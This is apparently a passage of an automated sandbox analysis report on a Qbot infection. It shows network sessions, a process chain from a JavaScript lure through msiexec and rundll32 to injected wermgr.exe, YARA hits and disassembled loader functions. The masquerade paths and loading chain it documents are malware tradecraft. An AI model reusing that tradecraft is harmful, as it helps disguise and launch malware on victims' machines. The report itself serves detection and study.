7}%!qaIJ"gBz@zK"tdkr6<CQS-.A 7p2a(u<pI=xd/JB#-. Qez6>5@[R&3aX{lU8N'SL7]?K&4$DeA
2023-06-01 16:06:38 UTC	368	IN	Data Raw: 7d 36 ef fc dd cf 7e 1a 8a f3 2e 5c 75 b5 fd ad 7d c9 be 6a 3f e0 c4 38 86 33 ca 19 07 8d d9 e3 e4 60 7c 6b b8 fc 86 7a 7f 37 11 2b 7b 0d d2 d5 a7 34 b2 55 31 ae 1d 31 b2 0b bc 45 de 87 de 77 de 0f fe b3 a4 b4 f2 74 46 22 0b 7a 60 64 67 63 5c f9 2b d5 70 64 15 15 4c c4 f7 97 57 8a 6b c5 5d e2 af e2 75 b1 bc d4 0a 89 3e 01 a3 ca 57 f2 0e ea 61 57 41 d6 65 47 ee 04 ba 9d 22 a7 cb 87 e4 cf e5 73 72 2d 56 9f be cf 90 04 1e 7c 1d e3 ba 13 6b b8 ac 52 51 a9 87 71 ed 8c ec 39 57 79 47 c9 50 be 45 fe fc 43 e1 6f 89 5b 41 c7 a7 aa b3 d4 c5 ea 17 f0 b8 42 b5 be d6 48 13 b5 81 da 10 6d 9c b6 1a 6e 7c 40 bb 02 5a ba 09 5e 62 7a 6b 30 08 cf 6d 0b f4 0f f5 63 7a 01 48 e4 1f 47 77 bd f1 a3 f1 8b 71 cb e0 3d 0f 3b 98 d3 a8 c3 c7 57 e6 19 f3 bc d9 d4 6a 0b 1d 7f d6 1a 07 Data Ascii: }6~.\u}j?83`\|kz7+{4U11EwtF"z`dgc\+pdLWk]u>WaWAeG"sr-V\|kRQq9WyGPECo[ABHmn\|@Z^bzk0mczHGwq=;Wj
2023-06-01 16:06:38 UTC	384	IN	Data Raw: e9 33 0c b4 36 95 50 86 d2 48 3f 14 45 7a 9d 92 06 fe 91 20 c9 24 e4 cb 70 ca d8 7e 9c 12 a1 4d 51 91 60 80 3d 85 14 22 89 25 a0 04 49 91 95 89 c1 77 cd 4c f9 85 ed c7 02 e3 cb 58 2e 97 08 a5 46 9d aa d5 67 aa 95 92 c7 c8 ac 02 c3 25 9c af cc a4 67 6b 0d 2a 89 17 1a 43 3e be 68 e4 b4 14 6d 12 bc ee 2a 30 68 19 06 f2 3b 60 13 8d 2a 85 3b da 40 91 cb b4 64 bd 36 09 3e 62 c2 2c 49 18 52 30 9f 3f 20 52 9d a6 36 2a 35 f4 ac 48 f3 87 f0 a3 e7 aa e1 47 0d da 54 23 3d 1f fe 5a a9 d4 ab e8 85 f0 56 52 18 6e 5c 21 e5 5e da e1 57 5f fa 37 59 73 fb 96 1f 0e c6 7f f7 7e 75 d7 b5 ec 6f 0b 77 26 a4 2f 18 dd fd da 70 ed a8 f1 23 87 7c 59 fd ca 1b f3 12 14 1b 8e 3f f9 d5 4e f7 97 e2 15 65 79 3f ce 6d 0a dc d4 bc ed de 06 d1 bf d7 b2 eb 21 fb a1 3f 62 91 c1 87 7c 59 2e 78 Data Ascii: 36PH?Ez $p~MQ`="%IwLX.Fg%gkC>hm0h;`;@d6>b,IR0? R65HGT#=ZVRn\!^W_7Ys~uow&/p#\|Y?Ney?m!?b\|Y.x
2023-06-01 16:06:38 UTC	400	IN	Data Raw: 65 20 75 73 65 64 20 66 6f 72 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 2c 20 6d 61 79 20 62 65 20 6c 6f 63 61 6c 69 7a 65 64 2e 20 20 54 68 69 73 20 6d 61 79 20 63 6f 6e 74 61 69 6e 20 61 20 22 73 68 6f 72 74 20 6e 61 6d 65 7c 6c 6f 6e 67 20 6e 61 6d 65 22 20 70 61 69 72 2e 46 69 6c 65 53 69 7a 65 53 69 7a 65 20 6f 66 20 66 69 6c 65 20 69 6e 20 62 79 74 65 73 20 28 6c 6f 6e 67 20 69 6e 74 65 67 65 72 29 2e 56 65 72 73 69 6f 6e 56 65 72 73 69 6f 6e 20 73 74 72 69 6e 67 20 66 6f 72 20 76 65 72 73 69 6f 6e 65 64 20 66 69 6c 65 73 3b 20 20 42 6c 61 6e 6b 20 66 6f 72 20 75 6e 76 65 72 73 69 6f 6e 65 64 20 66 69 6c 65 73 2e 4c 61 6e 67 75 61 67 65 4c 69 73 74 20 6f 66 20 64 65 63 69 6d 61 6c 20 6c 61 6e 67 75 61 67 65 20 49 64 73 2c 20 63 6f 6d 6d 61 2d 73 65 70 Data Ascii: e used for installation, may be localized. This may contain a "short name\|long name" pair.FileSizeSize of file in bytes (long integer).VersionVersion string for versioned files; Blank for unversioned files.LanguageList of decimal language Ids, comma-sep

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49721	96.114.21.40	443	C:\Windows\SysWOW64\wermgr.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 16:09:40 UTC	404	OUT	GET / HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, / User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: xfinity.com Cache-Control: no-cache
2023-06-01 16:09:40 UTC	404	IN	HTTP/1.1 301 Moved Permanently Location: https://www.xfinity.com/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49723	96.114.21.40	443	C:\Windows\SysWOW64\wermgr.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 16:09:43 UTC	404	OUT	GET / HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, / User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: xfinity.com Cache-Control: no-cache Cookie: xpgn=1
2023-06-01 16:09:43 UTC	404	IN	HTTP/1.1 301 Moved Permanently Location: https://www.xfinity.com/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 7068, Parent PID: 3324

General

Target ID:	0
Start time:	18:06:36
Start date:	01/06/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js"
Imagebase:	0x7ff7457b0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 492, Parent PID: 564

General

Target ID:	1
Start time:	18:06:37
Start date:	01/06/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff714530000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5176, Parent PID: 492

General

Target ID:	2
Start time:	18:06:39
Start date:	01/06/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Imagebase:	0x7ff73f7a0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wscript.exePID: 5156, Parent PID: 492

General

Target ID:	3
Start time:	18:06:39
Start date:	01/06/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs
Imagebase:	0x7ff7457b0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5620, Parent PID: 5176

General

Target ID:	4
Start time:	18:06:39
Start date:	01/06/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Imagebase:	0x10b0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.400127832.0000000004C30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000002.400000830.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 4744, Parent PID: 5620

General

Target ID:	5
Start time:	18:06:43
Start date:	01/06/2023
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0xda0000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: rundll32.exePID: 5620, Parent PID: 5176COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.4%
Total number of Nodes:	14
Total number of Limit Nodes:	0

Executed Functions

Function 10037700 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00002FC4,?,00002FC4,-00000002,?,-00000002,?,-00000002), ref: 10037543
VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Strings

QP, xrefs: 1003748B, 10037526

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFreeProtect
String ID: QP
API String ID: 267585107-2087711775
Opcode ID: bee903b6202f475c7327c9751a1b53ea86ff8d50fd0c52befb1eb6e3127cd176
Instruction ID: b307a0a1a03c2ba3f90aba87297ed5e3e1385ca2c22c187a6025a946ed5bbe6c
Opcode Fuzzy Hash: bee903b6202f475c7327c9751a1b53ea86ff8d50fd0c52befb1eb6e3127cd176
Instruction Fuzzy Hash: 70613AB590C509EFDB37CF94D894A8DBBB5FB08302F604455ED1CAE211E371AA00BB61

Uniqueness

Uniqueness Score: -1.00%

Function 10037490 Relevance: 3.1, APIs: 2, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 29d613ef6be05513be4a38f9e6aed18a8a2ff7f183fe9989753dcd8e5f3e6466
Instruction ID: e78a0a560c2fa67e0af6d0408eb9dedf1b7fda65736332d27f77b0a0a4dd8e87
Opcode Fuzzy Hash: 29d613ef6be05513be4a38f9e6aed18a8a2ff7f183fe9989753dcd8e5f3e6466
Instruction Fuzzy Hash: 4741F27590C109EFDB77CE90D884A9DBBB5FB08316F204461ED1CAE261E335AE10BB61

Uniqueness

Uniqueness Score: -1.00%

Function 10037480 Relevance: 3.1, APIs: 2, Instructions: 120
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10037480(void* __eax, intOrPtr* __ebx, void* __edx) {

				 *__ebx =  *__ebx + __edx;
				 *((intOrPtr*)(__ebp - 0x10))( *((intOrPtr*)(__ebp + 8)),  *((intOrPtr*)(__ebp + 0xc)),  *((intOrPtr*)(__ebp + 0x10)));
				__ebx = 0x10;
				__esp = __esp + 0x10;
				return 0;
			}

0x10037482
0x10037725
0x1003770e
0x10037713
0x00000000

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: f7a7a14248de5fe57912c15af05c5aaa4f954eaa46e363f1ae56ecda49c00c82
Instruction ID: 7f0ac04388cba486404e007d5ec0f9a57893f73df33d6181803a233d03357e0a
Opcode Fuzzy Hash: f7a7a14248de5fe57912c15af05c5aaa4f954eaa46e363f1ae56ecda49c00c82
Instruction Fuzzy Hash: EE41247590C149EFDB37CF90C884A9CBBB5FB08312F2044A5ED186E262E331AE10BB51

Uniqueness

Uniqueness Score: -1.00%

Function 100374A0 Relevance: 3.1, APIs: 2, Instructions: 110
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 45fdfc290b9f267284b5728b44bdc199b07ad896d0ace584290cdbc8af15baae
Instruction ID: 8f65bf26e0c36bd82f9f1352aba3125eff4208733563135c8fb7465a78350a0e
Opcode Fuzzy Hash: 45fdfc290b9f267284b5728b44bdc199b07ad896d0ace584290cdbc8af15baae
Instruction Fuzzy Hash: 2941037590C109EFDB77CE90D884A9DBBB5FB08312F2044A5ED1CAE261E331AE10BB51

Uniqueness

Uniqueness Score: -1.00%

Function 100374B0 Relevance: 3.1, APIs: 2, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,?,00000002,?,?,?,00000000), ref: 10037753
VirtualFree.KERNELBASE(?,00007E36,00007E36), ref: 1003779A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: ada827ae7353c127aa41337ad20357a7f9d3d399d0f7ec2ad0b4e4ab4c69f45f
Instruction ID: e4ea3a34ff66478d5c42fe18b3471f0fdf41793b4e08384e0b51970f06f5ebe7
Opcode Fuzzy Hash: ada827ae7353c127aa41337ad20357a7f9d3d399d0f7ec2ad0b4e4ab4c69f45f
Instruction Fuzzy Hash: 1A31027590C109EFDB77CF90D984A9DBBB5FB08316F2144A1ED18AE221E3319E10BB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FC0499 Relevance: 2.6, APIs: 2, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?), ref: 00FC051C

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 647806292e40d76c1808ca0a8b573877cb0d1ed87da1151593330ae6246e7e91
Instruction ID: f2e6c8aab01e649919c3e618fb68fbbf8d8f73cc4936895809ef1381b2d22c26
Opcode Fuzzy Hash: 647806292e40d76c1808ca0a8b573877cb0d1ed87da1151593330ae6246e7e91
Instruction Fuzzy Hash: C811A0A2C4430AEFDF14C650DFC6F6DA6B6EB14315F68406ED9065B282DA354E42FB01

Uniqueness

Uniqueness Score: -1.00%

Function 00FC11A5 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0092f584a839dd62b4c13f44ce63d536f0c9e1244b20ab5f9c8e56308dbb263e
Instruction ID: e1aca53983282ca0cc6517388315dea1bdbf087039d33cc99b76c87377643301
Opcode Fuzzy Hash: 0092f584a839dd62b4c13f44ce63d536f0c9e1244b20ab5f9c8e56308dbb263e
Instruction Fuzzy Hash: 6531A7BAD4420BDBDF10AAA0DE87FEE7679FB06310F580159EA02A7253D2394D60B751

Uniqueness

Uniqueness Score: -1.00%

Function 00FC07A4 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00FC07D5

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 67133743171ce9d8cdc9a07f765dc30c570cf60d44af1830f195452f5f9a1b35
Instruction ID: b8e76691aae80651c74a484e67ce8d10df7a2dd8a8e0fcad24adaa3cb80b83d8
Opcode Fuzzy Hash: 67133743171ce9d8cdc9a07f765dc30c570cf60d44af1830f195452f5f9a1b35
Instruction Fuzzy Hash: 18011D3690925ADFDB58CF94C945FADB7B4FF04320F24448DE416AB252CB31A982EF10

Uniqueness

Uniqueness Score: -1.00%

Function 00FC0E3E Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 00FC0E36

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dcb77b7dde468c4429c3eacf2e802b1e328b244cbed8a4ff464840034cf41f56
Instruction ID: ec86beb1adddab62bfbb0dabc18b08161d3b98f2fa001ecf90d6e92470afbd40
Opcode Fuzzy Hash: dcb77b7dde468c4429c3eacf2e802b1e328b244cbed8a4ff464840034cf41f56
Instruction Fuzzy Hash: 32F07471958206CFCB28CB84C695FACBB71EF48324F69549CD4066B351DB35A982EF14

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1C80 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00FC1C80

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fdae159f5b63167561a356be9577cc6a5469f915a5d238255440c61cf8b3ecaf
Instruction ID: c3ceb73500e64280e6d00d050395e8ea77083cd1761efad88fa2a81d563f8355
Opcode Fuzzy Hash: fdae159f5b63167561a356be9577cc6a5469f915a5d238255440c61cf8b3ecaf
Instruction Fuzzy Hash: 1CE01A72D4521ACACB00CB90D286BFDB6F0BB12369F20001EE403A6102E3344AA0FA40

Uniqueness

Uniqueness Score: -1.00%

Function 00FC044F Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?), ref: 00FC0BBB

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2efa1e35d57d1254694c6657700579f5ecd92471f7d6fffa99b604cb6f312ba0
Instruction ID: 416b990a60b773dd94384a80023e7c020f5da9d6d3f85d1aaa0b1052f8c9266f
Opcode Fuzzy Hash: 2efa1e35d57d1254694c6657700579f5ecd92471f7d6fffa99b604cb6f312ba0
Instruction Fuzzy Hash: BEE0B6B6900109EFDB18CB40CE85FBDB775FB14300F644488E401A3250CB329E01BA20

Uniqueness

Uniqueness Score: -1.00%

Function 00FC0BB1 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?), ref: 00FC0BBB

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 11959dc47cbe69a1d1983ee25c8494f456e1724cc526d44f32103389f00dccd7
Instruction ID: 0745e6c9dde1757f5ba00407f8aa0df3ea90bb87f2d5dfe3abd0acc08ec1f3b8
Opcode Fuzzy Hash: 11959dc47cbe69a1d1983ee25c8494f456e1724cc526d44f32103389f00dccd7
Instruction Fuzzy Hash: F5B09222005642C2EA5156504649FA8AA60AB02318F94C898C1CA9044A8E34880AB671

Uniqueness

Uniqueness Score: -1.00%

Function 00FC04E8 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00002F24,?,00002F24), ref: 00FC04CD

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 459ceca762080cf357c362edab4f1ee4805586002f586a962786011784d06284
Instruction ID: d8d32e510248583e8479f72e711f18822ff911580265c8d692b509561e326f9f
Opcode Fuzzy Hash: 459ceca762080cf357c362edab4f1ee4805586002f586a962786011784d06284
Instruction Fuzzy Hash: 90D01272C04349FFDB44CE908B85FADB975FB04309F30041DA60666142C7340F10B600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10059B40 Relevance: 138.6, Strings: 109, Instructions: 2398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

EsDebugger::*write, xrefs: 10059EA4
ValidateData::*test_2, xrefs: 1005B978
BinaryNode::*toString, xrefs: 1005B42F
Engine::*suspendTimeout, xrefs: 1005AB91
Engine::*cancelTasks, xrefs: 1005AA11
Engine::*convertToScalar, xrefs: 1005A811
Engine::*put, xrefs: 1005A711
Engine::*gc, xrefs: 1005A651
TernaryNode::*dump, xrefs: 1005B588
Script::*getSource, xrefs: 1005AE52
Node::*toScopeNode, xrefs: 1005B1AC
Engine::*stop, xrefs: 1005AAD1
Engine::*good, xrefs: 1005A491
Dispatcher::*getEnumerableProperties, xrefs: 1005A0B8
Script::*store, xrefs: 1005AF64
Engine::*get, xrefs: 1005A6D1
UnaryNode::*foldConstants, xrefs: 1005B28F
Engine::*setDictionary, xrefs: 1005A1D1
Engine::*deleteProperties, xrefs: 1005A5D1
Engine::*getAPI, xrefs: 1005ACA3
Callback::*isValidClassName, xrefs: 10059D50
UnaryNode::*toString, xrefs: 1005B31B
Engine::*restoreError, xrefs: 1005ADB5
TernaryNode::*foldConstants, xrefs: 1005B4C0
Node::*foldConstants, xrefs: 1005B00E
Callback::*runtimeError, xrefs: 10059C10
Node::*toTernaryNode, xrefs: 1005B0E3
Engine::*protectObject, xrefs: 1005AD2C
TernaryNode::*toString, xrefs: 1005B548
Callback::*getClassObject, xrefs: 10059D10
Node::*toUnaryNode, xrefs: 1005B05A
Callback::*undefinedError, xrefs: 10059CD0
q, xrefs: 1005B9D1
Engine::*reset, xrefs: 1005A4D1
ListNode::*toString, xrefs: 1005B661
BinaryNode::*dump, xrefs: 1005B46F
Engine::*eval, xrefs: 1005A891, 1005A8D1
Engine::*getClassInfo, xrefs: 1005A7D1
Engine::*scheduleTask, xrefs: 1005A991
Engine::*setError, xrefs: 1005A2D1, 1005A311, 1005A351, 1005A391, 1005A3D1
Engine::*fillArray, xrefs: 1005A951
Node::*toBinaryNode, xrefs: 1005B09A
Script::*getFileName, xrefs: 1005AE9B
Script::*isBinary, xrefs: 1005AE0F
ListNode::*toListNode, xrefs: 1005B5E3
Engine::*addDispatcher, xrefs: 1005AA51
Dispatcher::*getProperties, xrefs: 1005A078
ScopeNode::*toString, xrefs: 1005B892
TernaryNode::*toTernaryNode, xrefs: 1005B503
Engine::*isBusy, xrefs: 1005AB11
Engine::*getDispatcher, xrefs: 1005AA91
Engine::*clearError, xrefs: 1005A291
Engine::*getDictionary, xrefs: 1005A191
Engine::*cancelTask, xrefs: 1005A9D1
Dispatcher::*get, xrefs: 10059FB8
Dispatcher::*getEnumNames, xrefs: 10059F78
LabelNode::*dump, xrefs: 1005B79E
Engine::*compile, xrefs: 1005A851
Engine::*invalidateClass, xrefs: 1005ACEC
BinaryNode::*toBinaryNode, xrefs: 1005B3EF
Callback::*leaveDebugMode, xrefs: 10059C90
Callback::*enterDebugMode, xrefs: 10059C50
Script::*getFileNameIDs, xrefs: 1005AF24
Engine::*findObject, xrefs: 1005A511
EsDebugger::*poll, xrefs: 10059E64
Engine::*deleteObject, xrefs: 1005A591
ValidateData::*test_1, xrefs: 1005B93B
ListNode::*dump, xrefs: 1005B6AA
GlobalDialogs::*call, xrefs: 1005AFB5
Node::*toString, xrefs: 1005B1F5
Engine::*getError, xrefs: 1005A451
ScopeNode::*foldConstants, xrefs: 1005B7FB
Engine::*getErrorInfo, xrefs: 1005A411
Node::*toListNode, xrefs: 1005B123
Callback::*engineNotify, xrefs: 10059D90
ScopeNode::*dump, xrefs: 1005B8E0
